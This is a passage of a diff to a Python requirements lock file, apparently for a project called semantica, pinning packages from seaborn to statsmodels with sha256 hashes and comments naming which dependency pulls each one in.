--hash=sha256:2b64ca7d4aee0102a97f3ba22124052b4bd2152522355073580bf4845e2550b6 \ + --hash=sha256:2ceb2d3e01c5f1d83c4189737a42d9cb2fc38a6eeed225e7515eef71ad301dce \ + --hash=sha256:35c3a56d2ef83efc372eaec584314bd0ef2e2f0d2adb21c55e6ad5b344c0dcb8 \ + --hash=sha256:37425bc9175607b0268f493d79a292c39f9d001a357bebb6b88fdfaff13f6448 \ + --hash=sha256:3877ac408e14da24a6196de0ddcace62092bfc12a83823e92e49e40747e52c19 \ + --hash=sha256:3fd1fcdab3ea951b610dc4cef356d416d5802991e7e32b5254828d342f7b7e0b \ + --hash=sha256:41b71f4a3a4cab9d366cd9065b288efc4d4f3c0b37a91a8e0947fb5bd7f31d87 \ + --hash=sha256:43af8d1f3bea642559019edfe64e9b11192a8978efbd1539d7bc2aaa23d92de4 \ + --hash=sha256:45abad819184f07240d8a696117a7aacd39787af9e0b719d00285549ed19a1e9 \ + --hash=sha256:4b400bdc6f79fa02a4d86640310dde87a21fba0c979efff5248908c6f15fad1b \ + --hash=sha256:4eb6c25dd62ee8d5edf68a8e1c171dd71c292fdae95d8aeb3dd7d7de4c364082 \ + --hash=sha256:581b2264fc0aa555f3f435a5944da7504ea3a065d7029ad60e7c3d1ae09c5464 \ + --hash=sha256:5cf36e801231b6a2059bf354720274b7558746f3b1a4efb43fcf557ccd484a87 \ + --hash=sha256:5e3c5c011904115f88a39308379c17f91546f77c1667cea98739fe0fccea804c \ + --hash=sha256:6609bc224e9568f65064cfa72edc0f24ee6655b47575954ec6339534b2798369 \ + --hash=sha256:6e3dcd57ab780c741fde8dc68619de988b966db759a3c3152e8e9142c26295ad \ + --hash=sha256:6fac755ca3d2c3edcb22f479fceaa241704111414831ddd3bc6056e18516892f \ + --hash=sha256:744b2bf3640d907b79f3fd7874efe432d1cf171ee721243e350f55234b4cec4c \ + --hash=sha256:74cbb80d93260fe2ffa334efa24cb8f2f0f622a9b9febf8b483c0b865bfb3475 \ + --hash=sha256:766e0dc5a616d026a3a1cffa379af959671729083882f50307e18175797b3dfd \ + --hash=sha256:7bdf2da170b67fdf10bca777614b1c7d96ae3ca5794fd9587dce41eb2966e866 \ + --hash=sha256:7ff200bf9d24f2e4d5dc6ee8c3ac64d739d3a89e2326ba68aaf6c4a2b838fd7d \ + --hash=sha256:844e165636711ef41f80b4103ed234181646b98a53c8f05da12ca5ca289134f6 \ + --hash=sha256:8a604bae87c6195d8b1045eddece0514d041604b14f2727bbc2b3020172045eb \ + --hash=sha256:94055a11dfebe37c656e70317e1996dc197e1a15bbcc351bcdd4610e128fe1ca \ + --hash=sha256:95d8e012d8cb8816c226aef832200b1d45109ed4464303e997c5b13122b297c0 \ + --hash=sha256:9cdc1a2fcfd5c52cfb3045feb399f7b3ce822abdde3a193a6b9a60b3cb5854ca \ + --hash=sha256:9ecb4efb1cd6e8c4afea0daa91a87fbddbce1b99d2895d151596716c0b2e859d \ + --hash=sha256:a3472cfbca0a54177d0faa68f697d8ba4c80bbdc19908c3465556d9f7efce9ee \ + --hash=sha256:a4328d245944d09fd639771de275701ccadf5f781ba0ff092ad141e017eccda4 \ + --hash=sha256:a48a72c77a310327f6a3a920092fa2b8fd03d7deaa60f093038f22d98e096717 \ + --hash=sha256:a720477885a9d2411f94a93d16f9d89bad0f28ca23c3f8daa521e2dcc3f44d49 \ + --hash=sha256:a77cbd07b940d326d39a1d1b37817e2ee4d79cb30e7338f3d0cddffae70fcaa2 \ + --hash=sha256:a9956e4d4f4a301ebf6cde39850333a6b6110799d470dbbb1e25326ac447f52a \ + --hash=sha256:adb2642e060a6549c343603a3851ba76ef0b74cc8c079a9a58121c7ec9fe2350 \ + --hash=sha256:beeda3d4ae615106d7094f7e7cef6218392e4465cc95d25f900bebabfded0950 \ + --hash=sha256:c80be5ede8f3f8eded4eff73cc99a25c388ce98e555b17d31da05287015ffa5b \ + --hash=sha256:cc90d2e9c7e5c7f1a482c9875007c095c3194b1cfedca3c2f3291cdc2bc7c086 \ + --hash=sha256:cd96a1898c0a47be4520327e01f874acfd61fb48a9420f8aa9f6483412ffa444 \ + --hash=sha256:d2650c1fb97e184d12d8ba010493ee7b322864f7d3d00d3f9bb97d9c21de4068 \ + --hash=sha256:d30e57c72013c2a4fe441c2fcb8e77b14e152ad48b5464858e07e2ad9fbfceff \ + --hash=sha256:d59c30000a16d8edc7e64152e30220bfbd724c9bbb08368c054e24c651314f0a \ + --hash=sha256:dbc12c9f3d185f5c737d801da555fb74b3dcfa1a50b66a1a93e09190f41fab50 \ + --hash=sha256:e18f12c6b0bc5a592ed23d3f7b891f68fd7f8241d69b7883769eb5d5dfb52696 \ + --hash=sha256:e19ebea31758fac5893a2ac360fedd00116cbb7628e650842a6691ba7ca28a21 \ + --hash=sha256:e30bdeaa5deed6bc27b4cc490823cd0347d7dae09119b8803ae576ea0ce52e4c \ + --hash=sha256:eb092099205ef62cd1782b006658db09e2fed75bffcae7cc0d44052d8aa0f484 \ + --hash=sha256:eee2cfda04c00a857206a4330f0c5e3e56535494e30ca445eb19ec624ae75118 \ + --hash=sha256:f4115102802df98b2b0db3cce5cb9b92572633a1197c77b7553e5203f284a5b3 \ + --hash=sha256:f590cd684941912d10becc07325a3eeb77886fe981415660d9265c4c418d0bea \ + --hash=sha256:f8885db0bc2bffa59d5c1b72fad7a6a92d3e80e7257f967dd81abb553a90d293 \ + --hash=sha256:fcb310ddb270a06114bb64bbe53c94926b943f5b7f0842194d585c65eb4edd76 + # via + # semantica (pyproject.toml) + # colourmap + # distfit + # docling-slim + # gensim + # hdbscan + # librosa + # pynndescent + # scatterd + # scikit-learn + # sentence-transformers + # statsmodels + # umap-learn +seaborn==0.13.2 \ + --hash=sha256:636f8336facf092165e27924f223d3c62ca560b1f2bb5dff7ab7fad265361987 \ + --hash=sha256:93e60a40988f4d65e9f4885df477e2fdaff6b73a9ded434c1ab356dd57eefff7 + # via + # semantica (pyproject.toml) + # scatterd +semchunk==3.2.5 \ + --hash=sha256:ee15e9a06a69a411937dd8fcf0a25d7ef389c5195863140436872a02c95b0218 \ + --hash=sha256:fd09cc5f380bd010b8ca773bd81893f7eaf11d37dd8362a83d46cedaf5dae076 + # via docling-core +send2trash==2.1.0 \ + --hash=sha256:0da2f112e6d6bb22de6aa6daa7e144831a4febf2a87261451c4ad849fe9a873c \ + --hash=sha256:1c72b39f09457db3c05ce1d19158c2cbef4c32b8bedd02c155e49282b7ea7459 + # via jupyter-server +sentence-transformers==5.7.0 \ + --hash=sha256:b78141da3d8137e70d965866e2ca43190b9266f3d4d8752e250ded75e7136730 \ + --hash=sha256:fd8c8fc35e6323631dff9f3760969ebf7980dc3cfda0ab1354bc6a774cc0e5d8 + # via + # semantica (pyproject.toml) + # bertopic +setuptools==84.0.0 \ + --hash=sha256:51a52592b3b99e102b609654876bd65f19f999935166d1352678931132b0c670 \ + --hash=sha256:f4695c21257f0d9b537ec2692c941d02ee143b7cc1276941349a546573b2ef73 + # via + # spacy + # thinc + # torch +shapely==2.1.2 \ + --hash=sha256:0036ac886e0923417932c2e6369b6c52e38e0ff5d9120b90eef5cd9a5fc5cae9 \ + --hash=sha256:01d0d304b25634d60bd7cf291828119ab55a3bab87dc4af1e44b07fb225f188b \ + --hash=sha256:0bd308103340030feef6c111d3eb98d50dc13feea33affc8a6f9fa549e9458a3 \ + --hash=sha256:136ab87b17e733e22f0961504d05e77e7be8c9b5a8184f685b4a91a84efe3c26 \ + --hash=sha256:16a9c722ba774cf50b5d4541242b4cce05aafd44a015290c82ba8a16931ff63d \ + --hash=sha256:16c5d0fc45d3aa0a69074979f4f1928ca2734fb2e0dde8af9611e134e46774e7 \ + --hash=sha256:19efa3611eef966e776183e338b2d7ea43569ae99ab34f8d17c2c054d3205cc0 \ + --hash=sha256:1d0bfb4b8f661b3b4ec3565fa36c340bfb1cda82087199711f86a88647d26b2f \ + --hash=sha256:1e7d4d7ad262a48bb44277ca12c7c78cb1b0f56b32c10734ec9a1d30c0b0c54b \ + --hash=sha256:1f2f33f486777456586948e333a56ae21f35ae273be99255a191f5c1fa302eb4 \ + --hash=sha256:1ff629e00818033b8d71139565527ced7d776c269a49bd78c9df84e8f852190c \ + --hash=sha256:21952dc00df38a2c28375659b07a3979d22641aeb104751e769c3ee825aadecf \ + --hash=sha256:2d93d23bdd2ed9dc157b46bc2f19b7da143ca8714464249bef6771c679d5ff40 \ + --hash=sha256:2ed4ecb28320a433db18a5bf029986aa8afcfd740745e78847e330d5d94922a9 \ + --hash=sha256:2fa78b49485391224755a856ed3b3bd91c8455f6121fee0db0e71cefb07d0ef6 \ + --hash=sha256:346ec0c1a0fcd32f57f00e4134d1200e14bf3f5ae12af87ba83ca275c502498c \ + --hash=sha256:361b6d45030b4ac64ddd0a26046906c8202eb60d0f9f53085f5179f1d23021a0 \ + --hash=sha256:40d784101f5d06a1fd30b55fc11ea58a61be23f930d934d86f19a180909908a4 \ + --hash=sha256:4a44bc62a10d84c11a7a3d7c1c4fe857f7477c3506e24c9062da0db0ae0c449c \ + --hash=sha256:5860eb9f00a1d49ebb14e881f5caf6c2cf472c7fd38bd7f253bbd34f934eb076 \ + --hash=sha256:5ebe3f84c6112ad3d4632b1fd2290665aa75d4cef5f6c5d77c4c95b324527c6a \ + --hash=sha256:61edcd8d0d17dd99075d320a1dd39c0cb9616f7572f10ef91b4b5b00c4aeb566 \ + --hash=sha256:6305993a35989391bd3476ee538a5c9a845861462327efe00dd11a5c8c709a99 \ + --hash=sha256:6ddc759f72b5b2b0f54a7e7cde44acef680a55019eb52ac63a7af2cf17cb9cd2 \ + --hash=sha256:743044b4cfb34f9a67205cee9279feaf60ba7d02e69febc2afc609047cb49179 \ + --hash=sha256:7ae48c236c0324b4e139bea88a306a04ca630f49be66741b340729d380d8f52f \ + --hash=sha256:7ed1a5bbfb386ee8332713bf7508bc24e32d24b74fc9a7b9f8529a55db9f4ee6 \ + --hash=sha256:8cff473e81017594d20ec55d86b54bc635544897e13a7cfc12e36909c5309a2a \ + --hash=sha256:8d8382dd120d64b03698b7298b89611a6ea6f55ada9d39942838b79c9bc89801 \ + --hash=sha256:9111274b88e4d7b54a95218e243282709b330ef52b7b86bc6aaf4f805306f454 \ + --hash=sha256:91121757b0a36c9aac3427a651a7e6567110a4a67c97edf04f8d55d4765f6618 \ + --hash=sha256:980c777c612514c0cf99bc8a9de6d286f5e186dcaf9091252fcd444e5638193d \ + --hash=sha256:9a522f460d28e2bf4e12396240a5fc1518788b2fcd73535166d748399ef0c223 \ + --hash=sha256:9c3a3c648aedc9f99c09263b39f2d8252f199cb3ac154fadc173283d7d111350 \ + --hash=sha256:a1fd0ea855b2cf7c9cddaf25543e914dd75af9de08785f20ca3085f2c9ca60b0 \ + --hash=sha256:a444e7afccdb0999e203b976adb37ea633725333e5b119ad40b1ca291ecf311c \ + --hash=sha256:a84e0582858d841d54355246ddfcbd1fce3179f185da7470f41ce39d001ee1af \ + --hash=sha256:b510dda1a3672d6879beb319bc7c5fd302c6c354584690973c838f46ec3e0fa8 \ + --hash=sha256:b54df60f1fbdecc8ebc2c5b11870461a6417b3d617f555e5033f1505d36e5735 \ + --hash=sha256:b705c99c76695702656327b819c9660768ec33f5ce01fa32b2af62b56ba400a1 \ + --hash=sha256:ba4d1333cc0bc94381d6d4308d2e4e008e0bd128bdcff5573199742ee3634359 \ + --hash=sha256:c64d5c97b2f47e3cd9b712eaced3b061f2b71234b3fc263e0fcf7d889c6559dc \ + --hash=sha256:c8876673449f3401f278c86eb33224c5764582f72b653a415d0e6672fde887bf \ + --hash=sha256:ca2591bff6645c216695bdf1614fca9c82ea1144d4a7591a466fef64f28f0715 \ + --hash=sha256:cc4f7397459b12c0b196c9efe1f9d7e92463cbba142632b4cc6d8bbbbd3e2b09 \ + --hash=sha256:cf831a13e0d5a7eb519e96f58ec26e049b1fad411fc6fc23b162a7ce04d9cffc \ + --hash=sha256:dc3487447a43d42adcdf52d7ac73804f2312cbfa5d433a7d2c506dcab0033dfd \ + --hash=sha256:df90e2db118c3671a0754f38e36802db75fe0920d211a27481daf50a711fdf26 \ + --hash=sha256:e38a190442aacc67ff9f75ce60aec04893041f16f97d242209106d502486a142 \ + --hash=sha256:e9eddfe513096a71896441a7c37db72da0687b34752c4e193577a145c71736fc \ + --hash=sha256:eba6710407f1daa8e7602c347dfc94adc02205ec27ed956346190d66579eb9ea \ + --hash=sha256:ef4a456cc8b7b3d50ccec29642aa4aeda959e9da2fe9540a92754770d5f0cf1f \ + --hash=sha256:f67b34271dedc3c653eba4e3d7111aa421d5be9b4c4c7d38d30907f796cb30df \ + --hash=sha256:f6f6cd5819c50d9bcf921882784586aab34a4bd53e7553e175dece6db513a6f0 \ + --hash=sha256:fe2533caae6a91a543dec62e8360fe86ffcdc42a7c55f9dfd0128a977a896b94 \ + --hash=sha256:fe7b77dc63d707c09726b7908f575fc04ff1d1ad0f3fb92aec212396bc6cfe5e \ + --hash=sha256:fe9627c39c59e553c90f5bc3128252cb85dc3b3be8189710666d2f8bc3a5503e + # via rapidocr +shellingham==1.5.4 \ + --hash=sha256:7ecfff8f2fd72616f7481040475a65b2bf8af90a56c89140852d1120324e8686 \ + --hash=sha256:8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de + # via typer +six==1.17.0 \ + --hash=sha256:4721f391ed90541fddacab5acf947aa0d3dc7d27b2e1e8eda2be8970586c3274 \ + --hash=sha256:ff70335d468e7eb6ec65b95b99d3a2836546063f63acc5171de367e834932a81 + # via + # python-dateutil + # rapidocr + # rfc3339-validator +smart-open==8.0.1 \ + --hash=sha256:18b1c4496003c6902be17c15f032b5c319f307c89c6ae9e6b028b508bed8b2cf \ + --hash=sha256:3e97f90e92a952cb57863dfe132082c400a52eeeb27c067692fb51dbcc5b0089 + # via + # gensim + # weasel +smmap==5.0.3 \ + --hash=sha256:4d9debb8b99007ae47165abc08670bd74cb74b5227dda7f643eccc4e9eb5642c \ + --hash=sha256:c106e05d5a61449cf6ba9a1e650227ecfb141590d2a98412103ff35d89fc7b2f + # via gitdb +sniffio==1.3.1 \ + --hash=sha256:2f6da418d1f1e0fddd844478f41680e794e6051915791a034ff65e5f100525a2 \ + --hash=sha256:f4324edc670a0f49750a81b895f35c3adb843cca46f0530f79fc1babb23789dc + # via + # anthropic + # google-genai + # groq + # openai +soundfile==0.14.0 \ + --hash=sha256:0a6ae43c50c71b4e020cc55382925cb89451c1ed1a0c3d0f5d802da269226849 \ + --hash=sha256:19be05428da76ed61a4cad29b8e4bcf43a3e5c100089d2ec81dc961eed1b0dd4 \ + --hash=sha256:1e38bac1853412871318e82a1ba69a8be677619b56025bbfcccdb41b6cafe82d \ + --hash=sha256:299491d3499460fb1b74bb4bd78b57ffc2d243a5fafa7b6ec1b264875c78453e \ + --hash=sha256:8ba81ae3a89fd5ab3bef8a8eb481fbbe794e806309675a89b4df48b8d31908a8 \ + --hash=sha256:ba1c1a2d618bca5c406647c83b89f07cc8810fa506a50622a6993ba130c1de11 \ + --hash=sha256:d828d35a059626da52f1415b5faee610aeab393319cb3fc4a9aef47b619fc14c \ + --hash=sha256:e090704718e124e7c844695236f1fce8d18a5e761eaf7c82dfcd124620805f98 \ + --hash=sha256:e85724a90bc99a6e8062c0b4ddf725f53b2a3b70afd4da875e9d2cfc4e92f377 + # via librosa +soupsieve==2.9.2 \ + --hash=sha256:4a55d8cf158a9c2e587fa4922f1bbb91d68ac829e2d6f25403a85747c71daf74 \ + --hash=sha256:8089a26fd974ca7a1f30276d3d8492ab266ab15af581642dfe8aa162e0c1c823 + # via beautifulsoup4 +soxr==1.1.0 \ + --hash=sha256:1577865e993f98ffb261257c3060fa76ec3db44ed3f181b16464268000424464 \ + --hash=sha256:26925618945f1a44dfbd783cc572874f0685e9ecdf46b96f4000f6b8c9c8b825 \ + --hash=sha256:318925f7281df61dfa7f17fe343952eb10cefd3954f2423a733fabe3a517bab2 \ + --hash=sha256:33525740fb7dbed8b09970bf0cd4219b365538845053987b11cc235b20562e09 \ + --hash=sha256:34cc92208c3c412c046813e69da639c04a792c6a41fbfd7d909d359cd3e97a2d \ + --hash=sha256:3b033078e86f3c4a658e5697fac8995764fad9e799563616b630136b613167f1 \ + --hash=sha256:3da87e3ffa3e41823d873b051c7ecb2acebd8d1b6b46b752f5facf10a0d84ab9 \ + --hash=sha256:474aabb9283f177e899747510d60661730538052fca0ed93a943d4686d6655b1 \ + --hash=sha256:52c9ca84e3dc656d83acc424574770e20ea8e0704dc3842d4e27b0fe9d3ba449 \ + --hash=sha256:588c7de1abafe59e66face9a074514658ac0398c85a774cdbb8efac131192692 \ + --hash=sha256:6ae2a174bffea94e8ead857dad85999d3f49f091774dbad5b046c0417d7092f4 \ + --hash=sha256:868a24d864c25024f60ca964f851a759f2ada5352608fc194d927b7facc2e28b \ + --hash=sha256:8e11e26f1718b5c2e5b96f2f71b9f00e31d247b065289661e3a6996c758669d9 \ + --hash=sha256:9443e5eb82152d8952422b7285692192cc7dcffa5218bb511b096203018bc273 \ + --hash=sha256:9564d82f7fa6bf548e5f18bb86235dff20eea8bd30727b64d49783c95c34fb8d \ + --hash=sha256:9f228ae21c78fa9359ca98d8a5e8e91f30639e438e574133dace62c5b5309e44 \ + --hash=sha256:a941f5aaa0b8abced24318105c1ea22576afcc1138c19f625716ce4e2f76ad64 \ + --hash=sha256:ae30c48ac795378cf23ba3c7c640b8ff794af714ac388b9fd6b31a40b39e6e86 \ + --hash=sha256:b2e94c713b7d96fb92841947b785bcee6606124bc852273fab70454b51bfe270 \ + --hash=sha256:bd30f7201eac896ebf5db7b09156e6f1a1b82601900d29d9c8449bdad8365b11 \ + --hash=sha256:bf98c0d7b7d5ef5bf072fee8d3020e8b664f2d195933ea7bc5089267c2e22a06 \ + --hash=sha256:d6a7ad82b8d5f3fcc04b1d2ca055562b96af571e1d4fa7c6c61d0fb509ac43b4 \ + --hash=sha256:e0e09fa633ce2e67df08b298afced4d184f6e753fc330f241022250f1d0d61da \ + --hash=sha256:e17d4ef9b0185214b2c0935605ae63f827ea423bc74964be44763d68d2b6c21e \ + --hash=sha256:f4977323ef9c3aa3c2a26ff5fe0191c84b8fd759daf7afb1f25a91a55ad8b730 \ + --hash=sha256:feebcba99ac99adb8009d46c8f4c1956b8c167576b0ae8a6fb47502e9a6f78e7 + # via librosa +spacy==3.8.15 \ + --hash=sha256:0262f86956e751ace6e47e530cf9841d66f2354d8cd91cfeeb39eee4c5f2962f \ + --hash=sha256:1c8a27500b409b472a743c2b0b2af2dff42f4287ace36f2b776e4592d65ab493 \ + --hash=sha256:2cbd33b0801ed0fed71454cdfaefbabb18b1b854471f7683c5df2f78be00e8cc \ + --hash=sha256:35060be85c952df84e9095713ba05f8515473e127ad0c6b43cd22a1b42d4cdbc \ + --hash=sha256:37f370f579c1bb56aa767e6d585672133f37e89c1181ebbd251fd946777f0ef5 \ + --hash=sha256:39ac175bbf8a8381c41b8e0abbdede3ff29d1f29f3cac42644f5719671e20884 \ + --hash=sha256:4031de613e8ba666392fef107a06b5144270f0f64b6a61df37faf6a329d61b5a \ + --hash=sha256:59c1ad50c8d0afe8397a06e28f39f3cebced0cdf53b14607dfca44c9822d7650 \ + --hash=sha256:6b27d0abf1138644837536705578dc1ea48a693796b283a49202e1dbde0a3b02 \ + --hash=sha256:7863c35506ec6f7e3fc13836330a4badd723514b9dc067ed79a8b0c593b824b4 \ + --hash=sha256:81ca434f0a08062fe5d5fd05858196b3c007c755d8b54e2019c071949a93eefe \ + --hash=sha256:8397a6e76b85d7a1d42b2654ed0bbad053e9100b80f41efcf608a8cf02df76f6 \ + --hash=sha256:9ad71e9ce6c4e1b984a91bc82b2e4e08df23581f5cc670bbacf29a07a9822d5a \ + --hash=sha256:9b22d269dfa6aa3c6a000e576b261bee46c277afaf915a3fe1e0a81ad227ee7e \ + --hash=sha256:aaa70356876c152f0235ff5bc4869f7a45133392ff73aa881113376f7eec0caa \ + --hash=sha256:b4527b7824e8228f2abed18774b224de7aad9b900d47ff66483abdf16d0c8a5e \ + --hash=sha256:c8b187654941e417c4cc0378ed7860bf6aad7bbbc370b925994a9cebeb8ca615 \ + --hash=sha256:c9279132fee6e131b295f5336b8f9e46c16e5ec430e6c58a56fc9ef134cc1f5a \ + --hash=sha256:c9683078efb96dee8b1a751bc0bfa9271a6604b7257547849b4254f285ce77d9 \ + --hash=sha256:cb0782680cf930e9ab984a73b2078c981343f77c5c407773c704cbf8c7df13c0 \ + --hash=sha256:ce66d75279ee84b749eea058ff3ea79a31adf0ff53f887943dced258ceb6ce2a \ + --hash=sha256:d41166f5f763ff3a3e085d4314b6cf34cf1cd2bf0845aaafa1acc266e9a46ef7 \ + --hash=sha256:d5806db3034618ef426e360dd8519283dc08f5be1690ce5bc3bb2c628f86215f \ + --hash=sha256:e1aaf79b42c0e8c5dd4801b474c22a61fc68edb347fd3a6e09d5cba7e1aed5db \ + --hash=sha256:e7ca79280762f1de0a7a5c1ce8ccfe1f54b772e8761ea7d9408e535427592749 \ + --hash=sha256:f04bc083600ff688fe500a736dd4d8ac3d06527f7808c2d7932d4174d8f3b751 \ + --hash=sha256:f1c0f054365fdfd95cfe96acbb4c5c1dbefb787905e4e63013eda54d3c815050 \ + --hash=sha256:f5714a76826756cea2257d35524233ebe49c6f70b6510b224e46036a4a341a79 \ + --hash=sha256:fa9df68fc8887c0a6440b84d1d307980e594d99b45f19a37d733e58caa9a6682 \ + --hash=sha256:ff1a616862d6c07a9e7ae13b911005f89c064ce884ec31784f8032adb3f86829 + # via semantica (pyproject.toml) +spacy-legacy==3.0.12 \ + --hash=sha256:476e3bd0d05f8c339ed60f40986c07387c0a71479245d6d0f4298dbd52cda55f \ + --hash=sha256:b37d6e0c9b6e1d7ca1cf5bc7152ab64a4c4671f59c85adaf7a3fcb870357a774 + # via spacy +spacy-loggers==1.0.5 \ + --hash=sha256:196284c9c446cc0cdb944005384270d775fdeaf4f494d8e269466cfa497ef645 \ + --hash=sha256:d60b0bdbf915a60e516cc2e653baeff946f0cfc461b452d11a4d5458c6fe5f24 + # via spacy +sqlite-vec==0.1.9 \ + --hash=sha256:1515727990b49e79bcaf75fdee2ffc7d461f8b66905013231251f1c8938e7786 \ + --hash=sha256:1b62a7f0a060d9475575d4e599bbf94a13d85af896bc1ce86ee80d1b5b48e5fb \ + --hash=sha256:1d52e30513bae4cc9778ddbf6145610434081be4c3afe57cd877893bad9f6b6c \ + --hash=sha256:4a28dc12fa4b53d7b1dced22da2488fade444e96b5d16fd2d698cd670675cf32 \ + --hash=sha256:4e921e592f24a5f9a18f590b6ddd530eb637e2d474e3b1972f9bbeb773aa3cb9 + # via semantica (pyproject.toml) +srsly==2.5.3 \ + --hash=sha256:0017c7d2a0cd9a4f1bdc00d946b45edcf90bb0e271e8f084c1ce542bf6708c32 \ + --hash=sha256:06a43d63bde2e8cccadb953d7fff70b18196ca286b65dd2ad16006d65f3f8166 \ + --hash=sha256:07d682679e639eb46ff7e6da4a92714f4d5ffe351d088ee66f221e9b1f8865bb \ + --hash=sha256:08f98dbecbff3a31466c4ae7c833131f59d3655a0ad8ac749e6e2c149e2b0680 \ + --hash=sha256:0f106b0a700ab56e4a7c431b0f1444009ab6cb332edc7bbf6811c2a43f4722cb \ + --hash=sha256:111805927f05f5db440aeeacb85ce43da0b19ce7b2a09567a9ef8d30f3cc4d83 \ + --hash=sha256:14c930767cc169611a2dc14e23bc7638cfb616d6f79029700ade033607343540 \ + --hash=sha256:1a3d6e03c65e3af15bfb1ad18f1888ba0a8482903218c1a5b5ed6fd66f5b0fb1 \ + --hash=sha256:1c9129c4abe31903ff7996904a51afdd5428060de6c3d12af49a4da5e8df2821 \ + --hash=sha256:1d93c22f42dfc4383a89ff3fcbe89ed9b286cf1d7e762cba533f2fac5ed36b28 \ + --hash=sha256:1fd6c35c65c4d2435ae5bfb57b59682cf9b61606318a2a761856be9d7cc2d9e3 \ + --hash=sha256:21cf09e417d3e4f3fbf7dd337fd6d948c97abd01896b9b4cb80e81cd9778a73a \ + --hash=sha256:29d5d01ba4c2e9c01f936e5e6d5babc4a47b38c9cbd6e1ec23f6d5a49df32605 \ + --hash=sha256:2f2d464f0d0237e32fb53f0ec6f05418652c550e772b50e9918e83a1577cba4d \ + --hash=sha256:2f73c0db911552e94fe2016e1759d261d2f47926f68826664cada3723c87006a \ + --hash=sha256:2f76a2507cc2debf0aeb31120c8d04d752eb0ca8bd84599a62461796a3c0f71f \ + --hash=sha256:348c231b4477d8fe86603131d0f166d2feac9c372704dfc4398be71cc5b6fb07 \ + --hash=sha256:3576c125c486ce2958c2047e8858fe3cfc9ea877adfa05203b0986f9badee355 \ + --hash=sha256:39c13d552a9f9674a12cdcdc66b0c2f02f3430d0cd04c5f9cf598824c2bd3d65 \ + --hash=sha256:4b1b721cd3ad1a9b2343519aadc786a4d09d5c0666962d49852eb12d6ec3fe26 \ + --hash=sha256:4ca4a068f6e14d84113a02fcb875c6b50a6285a12938c0e7a157eb3a63c50a86 \ + --hash=sha256:4d6ebaeac9baa5c85b6b56c180458f1b4fef9213bc36b62fcbecf5b3d8a3001c \ + --hash=sha256:565f69083d33cb329cfc74317da937fb3270c0f40fabc1b4488702d8074b4a3e \ + --hash=sha256:598f1e494c18cacb978299d77125415a586417081959f8ec3f068b32d97f8933 \ + --hash=sha256:5c1ac27ae5f4bb9163c7d2c45fc8ec173aac3d92e32086d9472b326c5c6e570e \ + --hash=sha256:5c8df4039426d99f0148b5743542842ab96b82daded0b342555e15a639927757 \ + --hash=sha256:5f6a837954429ecbe6dcdd27390d2fb4c7d01a3f99c9ffcf9ce66b2a6dd1b738 \ + --hash=sha256:5fb59c42922e095d1ea36085c55bc16e2adb06a7bfe57b24d381e0194ae699f2 \ + --hash=sha256:63c0f4c088ddf0c736a24f7d7be1f6e2896a71822630c2805569b14de93eb393 \ + --hash=sha256:66ebae2c70305987341519ec1a720072a3cb3e4b1d52ac0e9e841f4d02658d3d \ + --hash=sha256:6a02d7dcc16126c8fae1c1c09b2072798a1dc482ab5f9c52b12c7114dac47325 \ + --hash=sha256:71d4cbe2b2a1335c76ed0acae2dc862163787d8b01a705e1949796907ed94ccd \ + --hash=sha256:71e51c046ccbeefb86524c6b1e17574f579c6ac4dc8ea4a09437d3e8f88342d3 \ + --hash=sha256:7326bc048073b04e4e7d59dd4a2d737c8e7cc270ef74ea1acb764382e995590c \ + --hash=sha256:785a09216ac31570fb301ddb9f61ee73d1f18f8b9561f712dce0b8ac8628bc88 \ + --hash=sha256:7ea5412ea229e571ac9738cbe14f845cc06c8e4e956afb5f42061ccd087ef31f \ + --hash=sha256:808cfafc047f0dec507a34c8fa8e4cda5722737fd33577df73452f52f7aca644 \ + --hash=sha256:8ac016ffaeac35bc010992b71bf8afdd39d458f201c8138d84cf78778a936e6c \ + --hash=sha256:8d3988970b4cf7d03bdd5b5169302ff84562dd2e1e0f84aeb34df3e5b5dc19bf \ + --hash=sha256:8e0542d85d6b55cf2934050d6ffcb1cd76c768dcf9572e7467002cf087bb366d \ + --hash=sha256:91688edb1f49110870d2c215db2cf445f1763c14173698ead0818908c51fb2a1 \ + --hash=sha256:916edb6dc1051732610e37863232e5a1d64bed7b130fed067f7dbc80d12d0065 \ + --hash=sha256:953d77ba0d8c96b29657622492c2c0bc7c161a304c069043a14c368aec20aeef \ + --hash=sha256:99026bcd9cbd3211cc36517400b04ca0fc5d3e412b14daf84ee6e65f67d9a2d8 \ + --hash=sha256:9ffc97e22730ea97b00f7c303ccc60b1305e786afadb2a4a46578dafa4d29da0 \ + --hash=sha256:a595958d0b1ff6d59c2570a3f0d1c8e36ab9f89d6e1b9c96fa7eb5e1a8698510 \ + --hash=sha256:b0938c2978c91ae1ef9c1f2ba35abb86330e198fb23469e356eba311e02233ee \ + --hash=sha256:b9df76d5a6bbf50967589bd42df3c522dd88babea2be745a507f56b41ab40626 \ + --hash=sha256:bc0ad5be2aeb9ff29c8512848d39d7c63fdd4bfbb5516bc523f5de5a77e55e6d \ + --hash=sha256:c378afcb7dd7c42f426a66112496c949fc39e5883de6817d86e60afa51720ccc \ + --hash=sha256:c812302a9acfe171e82f680b7ad642014cd017380b2c678441b3da4fb513c498 \ + --hash=sha256:d18933248a5bb0ad56a1bae6003a9a7f37daac2ecb0c5bcbfaaf081b317e1c84 \ + --hash=sha256:d2b8cfd8aee4d06ab335d359e4095d206102300a5e105a4b4bc69acca42427a6 \ + --hash=sha256:d822083fe26ec6728bd8c273ac121fc4ab3864a0fdf0cf0ff3efb188fcd209ed \ + --hash=sha256:e283fa2a8f7350fb9fb70ecdee28d59d39c92f4c7f1cc90a44d6b86db3b3a8b3 \ + --hash=sha256:e67b6bbacbfadea5e100266d2797f2d4cec9883ea4dc84a5537673850036a8d8 \ + --hash=sha256:f09b551f6c3e334652831ac68c770ee4284741ce0a3895bf1ccf2a1178d66cdd + # via + # spacy + # thinc + # weasel +stack-data==0.6.3 \ + --hash=sha256:836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9 \ + --hash=sha256:d5558e0c25a4cb0853cddad3d77da9891a08cb85dd9f9f91b9f8cd66e511e695 + # via ipython +starlette==1.6.0 \ + --hash=sha256:a86dd39d14bb45f85a3d18525215a9ef0cfd1f192ac793220e72598c90335f0c \ + --hash=sha256:d4e3ac5e546444960c710297a3c9fc3f7ebae1b7e963f3d36173b49da535be9b + # via fastapi +statsmodels==0.14.6 \ + --hash=sha256:00781869991f8f02ad3610da6627fd26ebe262210287beb59761982a8fa88cae \ + --hash=sha256:0444e88557df735eda7db330806fe09d51c9f888bb1f5906cb3a61fb1a3ed4a8 \ + 